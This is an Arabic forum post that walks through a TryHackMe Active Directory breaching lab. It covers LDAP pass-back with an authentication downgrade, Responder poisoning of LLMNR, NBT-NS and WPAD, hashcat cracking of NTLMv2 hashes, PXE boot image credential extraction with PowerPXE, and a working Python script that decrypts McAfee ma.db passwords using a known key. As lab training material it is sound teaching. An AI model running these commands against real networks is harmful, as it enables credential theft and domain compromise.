بإمكاننا الان نستخدم ملف الـ ldif لتحديث خادم الـ LDAP الخاص فينا باستخدام الأمر التالي :

كود:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart


بإمكاننا نتحقق من تطبيق اعدادات خادم الـ LDAP الخاص فينا باستخدام الأمر التالي
(ملاحظة: إذا بتستخدم Kali ممكن ما تحصل على أي نتيجه لكن التكوين يجب أن يكون نجح وبإمكانك متابعة الخطوات التالية ):



كود:
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

الان تم تكوين خادم الـ LDAP

لما نضغط على Test Settings بـ http://printer.za.tryhackme.com/settings.aspx تتم المصادقة بنص واضح إذا قمت بتكوين خادم LDAP بشكل صحيح وتم تخفيض الاتصال بتتلقى الخطأ التالي This distinguished name contains invalid syntax إذا تلقيت هاد الخطأ بإمكانك تستخدم tcpdump لالتقاط بيانات الاعتماد باستخدام الأمر التالي :




كود:
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
    0x0000:  4500 0074 b08c 4000 8006 20e2 0a0a 0ac9  E..t..@.........
    0x0010:  0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2  ...9........BW..
    0x0020:  5018 2014 1382 0000 3084 0000 0046 0201  P.......0....F..
    0x0030:  0263 8400 0000 3d04 000a 0100 0a01 0002  .c....=.........
    0x0040:  0100 0201 7801 0100 870b 6f62 6a65 6374  ....x.....object
    0x0050:  636c 6173 7330 8400 0000 1904 1773 7570  class0.......sup
    0x0060:  706f 7274 6564 5341 534c 4d65 6368 616e  portedSASLMechan
    0x0070:  6973 6d73                                isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
    0x0000:  4500 0028 247d 4000 4006 ed3d 0a0a 0a39  E..($}@.@..=...9
    0x0010:  0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27  ........BW.....'
    0x0020:  5010 01f6 2930 0000                      P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
    0x0000:  4500 005e 247e 4000 4006 ed06 0a0a 0a39  E..^$~@[email protected]
    0x0010:  0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27  ........BW.....'
    0x0020:  5018 01f6 2966 0000 3034 0201 0264 2f04  P...)f..04...d/.
    0x0030:  0030 2b30 2904 1773 7570 706f 7274 6564  .0+0)..supported
    0x0040:  5341 534c 4d65 6368 616e 6973 6d73 310e  SASLMechanisms1.
    0x0050:  0405 504c 4149 4e04 054c 4f47 494e       ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
    0x0000:  4500 0028 b092 4000 8006 2128 0a0a 0ac9  E..(..@...!(....
    0x0010:  0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d  ...9.......J..~-
    0x0020:  5010 2014 0ae4 0000 0000 0000 0000       P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
    0x0000:  4500 0069 b093 4000 8006 20e6 0a0a 0ac9  E..i..@.........
    0x0010:  0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d  ...9.......J..~-
    0x0020:  5018 2014 3afe 0000 3084 0000 003b 0201  P...:...0....;..
    0x0030:  0560 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
    0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
    0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..password11

بتظهر النتيجة على شكل حزم بيانات وبتتمكن من رؤية بيانات الاعتماد المرسلة بنص واضح

ملخص
من خلال استخدام هجوم الـ LDAP pass-back وتخفيض آلية المصادقة المدعومة تمكنا من اعتراض بيانات الاعتماد بنص واضح













مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD

بـ شبكات الويندوز في خدمات كثيرة بتتواصل مع بعض عشان المستخدمين يقدروا يستخدموا الخدمات اللي بتقدمها الشبكة

التوثيق الشبكي في ويندوز

قبل حكينا عن الـ NTLM المستخدم بتطبيقات الويب هسا راح نغوص أعمق بكيفية عمل هاد التوثيق من منظور الشبكة وراح نركز على توثيق الـ NetNTLM اللي بستخدمه بروتوكول الـ SMB




بروتوكول الـ Server Message Block ( SMB )

بروتوكول الـ SMB بسمح للعملاء (زي الكمبيوترات) بالتواصل مع السيرفر (زي خوادم الملفات)
بالشبكات اللي بتستخدم Active Directory من مايكروسوفت الـ SMB بتحكم بكل اشي من مشاركة الملفات بين الشبكات ( لغاية إدارة الأجهزة عن بُعد ) حتى إشعار نفد الورق ( اللي بظهرلك لما تحاول تطبع مستند ) الاشعار من الـ SMB

لكن أمان النسخ القديمة من بروتوكول SMB كان غير كافي اكتشفوا ثغرات ممكن تستغل لاسترجاع بيانات الاعتماد أو حتى تنفيذ كود على الأجهزة بالرغم من أن بعض الثغرات تم اصلاحها بالنسخ الأحدث من البروتوكول لكن منظمات كثيره ما بتفرض استخدام النسخ الأحدث عشان الأنظمة القديمة ما بتدعمها

راح نحكي عن نوعين من الـ exploits لمصادقة الـ NetNTLM مع الـ SMB :


1. التحليل غير المباشر Offline Cracking : لانه يمكن اعتراض الـ NTLM Challenges ممكن نستخدم تقنيات اختراق دون ما نتصل بالنت لاستعاده كلمه المرور المرتبطه بـ NTLM Challenges لكن العمليه هاي ابطأ بكثير من كسر الـ NTLM hashes نفسه
2. الهجوم بين العميل والخادم Man-in-the-Middle Attack : ممكن نستخدم جهازنا المزيف لعمل هجوم بين العميل والخادم اللي بوفرلنا جلسه مصادقة نشطه وامكانيه الوصول لخادم الهدف




الـ LLMNR والـ NBT-NS والـ WPAD

هون راح نركز الى الـ authentication اللي بحصل أثناء استخدام الـ SMB بنستخدم أداة Responder لمحاولة اعتراض الـ NTLM Challenges وتحليله بالشبكة عادةً بكون فيه كثير من هاي التحديات وبعض الحلول الأمنية انك تعمل مسح لنطاقات الـ IP كاملة لاسترجاع معلومات من الأجهزة , أحيانًا بسبب سجلات الـ DNS القديمة التحديات هاي ممكن توصل لجهازنا المزيف بدل من الجهاز المقصود

أداة Responder بتسمحلنا بتنفيذ هجمات الـ Man-in-the-Middle عن طريق تسميم الـ Response أثناء الـ NetNTLM authentication ، وبتخدع العميل عشان يكلمك بدل السيرفر الاصلي , بالشبكات الكبيرة البروتوكولات الـ LLMNR والـ NBT-NS والـ WPAD بتسمح للأجهزة بإجراء DNS لوكلي للعثور على الأجهزة على نفس الشبكة المحلية بدلا من تحميل موارد الشبكة مثل خوادم الـ DNS


الـ LLMNR
اول اشي الأجهزة بتحاول تحدد إذا كان الجهاز اللي بدورو عليه على نفس الشبكة المحلية عن طريق إرسال طلبات LLMNR وبشوفو اذا في اي اجهزه بترد

الـ NBT-NS , WPAD
الـ NBT-NS هو البروتوكول السابق لـ LLMNR وطلبات الـ WPAD بتتم للعثور على وكيل للاتصالات HTTP/HTTPS المستقبلية

بما أن هاي البروتوكولات بتعتمد على الطلبات المرسلة على الشبكة المحلية , جهازنا المزيف بتلقى هاي الطلبات
عادة الطلبات هاي تهمل لأنها مش موجهة لجهازنا لكن الـ Responder بتستمع لهاي الطلبات وبترسل استجابات مسمومة بتخبّر الجهاز المرسل أن عنوان الـ IP الخاص بجهازنا مرتبط باسم المضيف المطلوب من خلال تسميم هاي الطلبات
الـ Responder بتحاول تقنع العميل بالاتصال بجهازنا المزيف وبتبدأ باستضافة خوادم متعددة مثل SMB و HTTP و SQL لالتقاط هاي الطلبات واجبارها على المصادقة




اعتراض تحدي NetNTLM

نقطة مهمة الـ Responder بحاول بشكل اساسي انه يفوز بحاله السباق عن طريق تسميم الاتصالات عشان يضمن اعتراض الاتصال وعادةً ما بتسمم الـ authentication challenges على الشبكة المحلية , بما اننا متصلين عن طريق الـ VPN بنقدر نسمم بس اللي على هاي الشبكة عشان هيك عملو عمليه محاكاه لطلب مصادقه بامكاننا نسممه وبشتغل كل 30 دقيقة يعني ممكن نحتاج نستنا قبل ما نعترض الـ NetNTLM challenges ونرد عليه


رغم أن الـ Responder بإمكانه يعترض ويسمم المزيد من طلبات المصادقة عند تشغيلها من جهازنا المزيف المتصل بشبكة LAN

مهم نفهم أنه هاد السلوك ممكن يكون مزعج وملحوظ , بتسميم طلبات المصادقة المحاولات الطبيعية للمصادقة على الشبكة راح تفشل مما يعني أن المستخدمين والخدمات ما رح يتصلوا بالأجهزة والمشاركة التي بدهم اياها خليك واعي لهاد الموضوع لما تستخدم الـ Responder بالتقييم أمني



استخدام Responder

تم تثبيت اداه الـ Responder بالفعل على الـ AttackBox إذا كنت ما بتستخدم الـ AttackBox بتقدر تحملها وتثبتها من هاد الرابط : Responder GitHub

بنشغل الـ Responder على الواجهة المتصلة بالـ VPN :

كود:
sudo responder -I breachad

إذا كنت بتستخدم الـ AttackBox مش كل خدمات الـ Responder بتشتغل لأنه خدمات أخرى ممكن تستخدم نفس المنافذ لكن هاد ما رح يأثر على هاي المهمة

الـ Responder بتستمع لأي طلبات LLMNR أو NBT-NS أو WPAD اللي بتيجي بنترك الـ Responder تشتغل لفترة على الـ LAN الحقيقية بحالتنا راح نحاكي التسميم عن طريق جعل أحد الخوادم يحاول المصادقة على أجهزة الـ VPN
بنترك الـ Responder تعمل شوية (حوالي 10 دقائق ممكن تأخذ استراحة ! ) وراح تستقبل اتصال SMBv2 اللي Responder بتستخدمه لجذب واستخراج استجابة الـ NTLMv2-SSP


بظهر اشي مثل هاد :

كود:
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::ZA:<NTLMv2-SSP Hash>


إذا كنا بنستخدم جهازنا بنشغل الـ Responder لفترة أطول وبنجمع response بعد ما نجمع عدد كافي بنبدأ بتحليل الـ response عشان نتوقع كلمات المرور اللي مرتبطة فيها
إذا كانت الحسابات فيها كلمات مرور ضعيفة بكون عننا فرصة منيحه نكسرها بننسخ الهاش NTLMv2-SSP وبنحطه بملف نصي بنستخدم قائمة كلمات المرور المقدمة بملفات التحدي لـ Hashcat لمحاولة كسر الهاش باستخدام الأمر التالي :

قائمة كلمات المرور
بتنزلها من هون
كود:
hashcat -m 5600 <hash file> <password file> --force



ملف كلمات المرور متاح لك على AttackBox في المكان هاد /root/Rooms/BreachingAD/task5/ بنستخدم نوع الهاش 5600 اللي بتوافق مع NTLMv2-SSP بـ Hashcat

relay attack

نقل الـ Challenge
ببعض الأحيان ممكن نأخذ الأمر خطوة أبعد بمحاولة نقل الـ Challenge بدال ما نعترضه مباشرة هاد أصعب شوي بدون معرفة مسبقة بالحسابات

لأن الهجوم هاد بعتمد على أذونات الحساب المرتبط بنحتاج لبعض الشروط عشان يكون الموضوع لصالحنا :


1. لازم يكون الـ SMB Signing إما معطل أو مفعل ولكن غير مفروض لانه لما نيجي نعمل نقل بنعمل تغييرات بسيطه بالطلب عشان ننقله إذا كان الـ SMB Signing مفعل ما بنقدر نزيف الـ signature يعني السيرفر راح يرفضها
2. لازم يكون للحساب اللي مرتبط أذونات اللي بتلزمه على السيرفر عشان يوصل للموارد المطلوبة
3. بما أننا تقنيًا ما عننا اي دخول بالـ Active Directory بتطلب الموضوع تخمين عن الحسابات اللي بتمتلك أذونات على الأجهزة , لكن إذا اخترقنا الـ Active Directory بالفعل بنعمل عملية الـ enumeration
عشان هيك الـ blind relays مش شائع
دائما أفضل أولاً اختراق الـ Active Directory باستخدام طريقة ثانيه بعدها بنجري enumeration عشان نحدد الامتيازات المرتبطة بالحساب اللي اخترقته , من هون بإمكانك عاده إجراء حركة عشان ترفع صلاحياتك عبر الـ domain


ومع هيك لازم يكون عندك فهم أساسي عن كيفيه عمل الهجوم relay attack كما هو موضح بالرسم البياني :


6baba3537d36d0fa78c6f61cf1386f6f.png




إذا بدك تجرب هاد النوع من الهجمات بالواقع شوف الروم Holo وراح نحكي عنها بالبارتات التاليه ان شاء الله










الـ Microsoft Deployment Toolkit

أدوات نشر مايكروسوفت

الشركات الكبيرة بتحتاج أدوات لإدارة البنية التحتية ما بنفع موظفين الـ IT يروحو ويثبتو برامج على كل الاجهزه باستخدام أقراص الـ DVD أو حتى USB
مايكروسوفت عندها أدوات لإدارة هاي الأمور لكن بنقدر نستغل بعض الأخطاء بهاي الأدوات لاختراق الـ Active Directory



الـ MDT و SCCM

الـ Microsoft Deployment Toolkit هي خدمة من مايكروسوفت بتساعد بنشر أنظمة التشغيل اللي من مايكروسوفت
الشركات الكبيرة بتستخدم خدمات مثل الـ MDT لتوزيع الأنظمة بشكل أسرع لأنه بتقدر تحتفظ فيها وتحدثها بمكان مركزي

عادةً يتم دمج الـ MDT مع System Center Configuration Manager من مايكروسوفت اللي بدير كل التحديثات لكل التطبيقات والخدمات وأنظمة التشغيل من مايكروسوفت
الـ MDT يستخدم للـ deployments بخلي فريق الـ IT يجهز ويعدل الـ boot images بسهولة يعني لو بدهم يجهزو جهاز جديد بس بوصلو كابل الشبكة وكل اشيء بصير تلقائيً بقدرو يثبتو برامج مثل Office365 و مكافحة الفيروسات الخاصة بالشركة بالـ boot images وبضمن أنه التنزيل يكون محدث من أول تشغيل



الـ SCCM يعتبر توسعة وأخ أكبر للـ MDT

بيجي على بالنا سؤال شو بصير للبرامج بعد ما تتثبت؟
الـ SCCM بعمل التحديثات للبرامج المثبتة بالبنية التحتية , بخلي فريق الـ IT يراجع التحديثات ويختبرها ببيئة تجريبية قبل ما يثبتوها على كل الأجهزة المرتبطة بالدومين هاد الموضوع هاد بسهل حياة فريق الـ IT بشكل كبير

لكن أي اشي بوفر إدارة مركزية للبنية التحتية مثل MDT و SCCM ممكن يكون هدف للهجمات من المخترقين عشان يسيطرو على الوظائف الحيوية بالبنية التحتية مع أنه الـ MDT ممكن ينظبط بطرق مختلفة هون بنركز على طريقة الـ Preboot Execution Environment (PXE) للـ boot


الـ PXE Boot

الشركات الكبيرة بتستخدم الـ PXE Boot عشان تسمح للأجهزة الجديدة المتصلة بالشبكة تحمل وتثبت النظام مباشرة عن طريق الشبكة , الـ MDT يستخدم لإنشاء وإدارة واستضافة صور PXE Boot
الـ PXE Boot بتكامل عادة مع الـ DHCP يعني إذا الـ DHCP بعطي الجهاز عنوان IP الجهاز بقدر يطلب صورة PXE Boot ويبدأ عملية التثبيت عبر الشبكة

بعد ما تبدأ العملية الجهاز بستخدم اتصال TFTP لتحميل صورة الـ PXE Boot


8117a18103e98ee2ccda91fc87c63606.png


بنقدر نستغل الـ PXE Boot بطريقتين :
  1. ممكن نضيف حساب Local Administrator داخل صورة الـ PXE Boot يعني بعد ما يكتمل تحميل وتشغيل النظام الحساب هاد بكون موجود بالجهاز
  2. بنقدر نسحب كلمات المرور لاستخراج Active Directory credentials المستخدمة أثناء التثبيت
هون راح نركز على استخراج الـ credentials خدمة النشر المرتبطة بخدمة الـ MDT أثناء التثبيت وأيضًا ممكن نستخرج حسابات Active Directory ثانيه مستخدمة بالتثبيت التلقائي للتطبيقات والخدمات


استخراج صورة الـ PXE Boot

بما أن الـ DHCP مزعج شوي راح نتخطى جزء طلب عنوان الـ IP وتفاصيل الـ PXE Boot من DHCP بنمل باقي الهجوم يدوي من هاي الخطوة


أول معلومة بتحتاجها من الـ DHCP هي IP سيرفر الـ MDT بتقدر تستخرجها من مخطط الشبكة للتحدي TryHackMe


ثاني معلومة هي أسماء ملفات الـ BCD هاي الملفات بتخزن معلومات الـ PXE Boot لأنواع architecture مختلفة

عشان نستخرج هاي المعلومات بنفوت على موقع pxeboot.za.tryhackme.com بنلاقي عدة ملفات BCD



عادة بنستخدم الـ TFTP لطلب كل ملفات الـ BCD وتعداد تكوينها

لكن عشان نختصر وقت بنركز على ملف الـ BCD للهندسة x64



بننسخ الاسم وبنخزنه عننا , خلينا نسميه الـ placeholder
كود:
x64{841DFEEF-A140-4431-A20E-F16A499C73A4}.bcd

الملفات وأسمائها بتجدد يوميًا بالـ MDT

كل مرة بتشوف هاد الـ placeholder تذكر تستبدله باسم ملف الـ BCD الخاص فيك بالتحدي لاحظ كمان إذا الشبكة هسا بدأت أسماء الملفات بتتجدد بعد 10 دقائق من نشاط الشبكة

الآن بعد ما عرفنا المعلومات الأولية من الـ DHCP بنقدر نعد ونسترجع صورة الـ PXE Boot

بنستخدم اتصال SSH على THMJMP1 للخطوات القادمة بنسجل دخول لهاد الاتصال باستخدام :






لبدء الجميع بالشبكة باستخدام SSH

بننشئ مجلد وبندخل عليه وبننسخ مستودع powerpxe للمجلد عن طريق امر :

كود:
copy c:\powerpxe\* .

الخطوة الأولى هي نستخدم الـ TFTP لتحميل ملف الـ BCD وقراءة تكوين سيرفر الـ MDT , الـ TFTP أصعب شوي من الـ FTP لأنه ما بنقدر ندرج الملفات , بدال ما نعمل هيك بنقدر نرسل طلب ملف والسيرفر بتصل علينا عن طريق الـ UDP لنقل الملف ولازم نكون دقيقين لما نحدد الملفات والمسارات

ملفات الـ BCD دائمًا بتكون بمجلد الـ Tmp على سيرفر الـ MDT

بنقدر نبدأ نقل عن طريق بروتوكول الـ TFTP باستخدام الأمر التالي :


كود:
tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd


عشان نعرف الـ IP الخاص بـ THMMDT بنستخدم امر nslookup thmmdt.za.tryhackme.com او من الخريطه للشبكه اللي معنا بالتحدي


بعد ما نسترجع ملف الـ BCD بنستخدم الـ powerpxe لقراءة محتوياته


مشاهدة المرفق 12013
مشاهدة المرفق 12012



الـ powerpxe هو سكريبت PowerShell بعمل هاد النوع هجمات تلقائيه لكن عادة بنتائج متفاوتة عشان هيك افضل نعملها يدوي , بنستخدم دالة Get-WimFile من powerpxe لاسترجاع مواقع الـ PXE Boot من ملف الـ BCD عن طريق الاوامر :
كود:
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile


سبب استخدامنا لداله Get-WimFile

ملفات الـ Wim هي Image قابلة للإقلاع بتنسيق Windows Imaging Format (WIM)
الآن بعد ما حصلنا على موقع الـ PXE Boot بنقدر مرة ثانية نستخدم الـ TFTP لتحميل الـ Image عن طريق الامر :

كود:
tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim

هاد التحميل باخذ وقت لأنه بنحمل صورة ويندوز قابلة للإقلاع وكاملة ممكن تستغل الوقت وتاخذ استراحة.



استخراج بيانات الاعتماد من صورة PXE Boot

الآن بعد ما استرجعنا الـ PXE Boot بنقدر نستخرج بيانات الاعتماد المخزنة ( الـ credentials )

وفي هجمات كثيرة بنقدر ننفذها بنقدر نضيف مستخدم local administrator عشان نحصل على وصول إداري بعد ما الـ Image تشتغل أو نثبت الـ Image عشان يكون عننا جهاز مرتبط بالدومين

لو مهتم تعرف أكثر عن هاي الهجمات بتقدر تشوف هاد المقال article هاد التمرين بركز على هجوم بسيط لاستخراج الـ credentials

مرة ثانية بنستخدم الـ powerpxe عشان نستخرج الـ credentials لكن بتقدر تعملها يدويًا عن طريق استخراج الـ Image والبحث عن ملف الـ bootstrap.ini حيث عادةً تُخزن هاي البيانات

لاستخدام powerpxe لاستخراج بيانات الاعتماد من ملف bootstrap بنستخدم الامر التالي :

كود:
Get-FindCredentials -WimFile pxeboot.wim

بنخليه يحمل شوي لثواني

مشاهدة المرفق 12018

وهيك صار عننا المعلومات

مشاهدة المرفق 12019

هيك بنكون استخرجنا Active Directory credentials وبنقدر نستخدمها طبعا!











الـ Configuration Files

آخر اشي راح احكي عنو في هاد الموضوع هو ملفات التكوين

خلينا نفترض أنك كنت محظوظ وتتسببت بخرق او وصلتك معلومه سمحتلك توصل إلى مضيف على شبكة المنظمة. في هذه الحالة، فإن

ملفات التكوين هي طريق ممتاز لاستكشافه ومحاولة استعادة Active Directory credentials بناءً على الـ host اللي تم اختراقه ممكن تكون ملفات التكوين مختلفة والها قيمة للـ enumeration :

  • ملفات تكوين تطبيقات الويب
  • ملفات تكوين الخدمات
  • مفاتيح السجل (Registry keys)
  • التطبيقات المنتشرة مركزيًا
يمكن استخدام عدة سكربتات للـ enumeration مثل Seatbelt لعمل هذه المهمه تلقائي

ملفات التكوين الـ credentials

راح نركز على استعادة الـ credentials من النقطة الرابعة اللي ذكرناها فوق

عادةً بتحتاج التطبيقات هاي لطريقة للمصادقة على الـ domain خلال المرحلتين التثبيت والتنفيذ

مثال على هاي التطبيقات هو McAfee Enterprise Endpoint Security اللي ممكن تستخدمه المؤسسات كأداة للكشف والاستجابة للأمان على النقاط النهائية ( endpoint detection )

الـ McAfee بضمن الـ credentials المستخدمة أثناء التثبيت للاتصال بالـ orchestrator بملف يسمى ma.db

بإمكاننا نسترد ملف قاعده البيانات هاد وقراءته من خلال local access للـ host لاستعادة حساب Active Directory service

بنستخدم الـ SSH على THMJMP1 مرة ثانيه لهاد التحدي




يتم تخزين ملف ma.db في موقع ثابت :
كود:
C:\ProgramData\McAfee\Agent\DB



بإمكاننا نستخدم الامر عشان ننسخ الملف على جهازنا عن طريق الامر :
كود:
scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .


بعدها عشان نقرأ ملف قاعدة البيانات بنستخدم اداه sqlitebrowser باستخدام الأمر :

كود:
sqlitebrowser ma.db


مشاهدة المرفق 12024



بنختار خيار Browse Data وبنركز على جدول AGENT_REPOSITORIES :


جدول الـ AGENT_REPOSITORIES

بنركز على السطر الثاني وبنخزن بعض المعلومات المهمه زي DOMAIN و AUTH_USER و AUTH_PASSWD وزي ما هو ظاهر يتم تشفير حقل الـ AUTH_PASSWD

لحسن الحظ بتشفر الـ McAfee كلمات المرور بمفتاح معروف وهيك بنستخدم سكربت الخاص بـ Python2 لفك تشفير كلمة المرور

هاد هو رابط السكريبت


اذا كنت بتشتغل على AttackBox بتلاقي السكريبت بهاد المسار /root/Rooms/BreachingAD/task7/

مشاهدة المرفق 12027

ملاحظة

الأداة اللي بنستخدمها قديمة بتستخدم Python v2 وبتعتمد على مكتبة تشفير قديمة

ف هاد هو السكريبت مع تعديل حتى يشتغل بدون اي مشاكل

كود:
import base64
from Crypto.Cipher import DES3
from Crypto.Hash import SHA1


KEY = bytes.fromhex("12150F10111C1A060A1F1B1817160519")

def sitelist_xor(xs):
    return bytes([c ^ KEY[i % 16] for i, c in enumerate(xs)])

def des3_ecb_decrypt(data):

    sha1_key = SHA1.new(b'<!@#$%^>').digest() + b"\x00\x00\x00\x00"
    des3 = DES3.new(sha1_key, DES3.MODE_ECB)
    decrypted = des3.decrypt(data)

    return decrypted.split(b'\x00', 1)[0] or b"<empty>"

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage:   %s <base64 passwd>" % sys.argv[0])
        print("Example: %s 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='" % sys.argv[0])
        sys.exit(0)


    encrypted_password = base64.b64decode(sys.argv[1])

    xor_decrypted = sitelist_xor(encrypted_password)
    password = des3_ecb_decrypt(xor_decrypted)

    print("Crypted password   : %s" % sys.argv[1])
    print("Decrypted password : %s" % password.decode())

    sys.exit(0)





الآن عننا مجموعة من الـ Active Directory credentials بإمكاننا نستخدمها لمزيد من الـ enumeration

هاد مثال على استعاده credentials من ملفات التكوين ...
















بارك الله فيك اخونا وحبيبنا وأستاذنا عبود من سايبر الأسود 😉
شكرا على طرح المعلومة السلس والعميق مع الصور والمراجع

ننتظر منك المزيد استاذ عبود💖
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى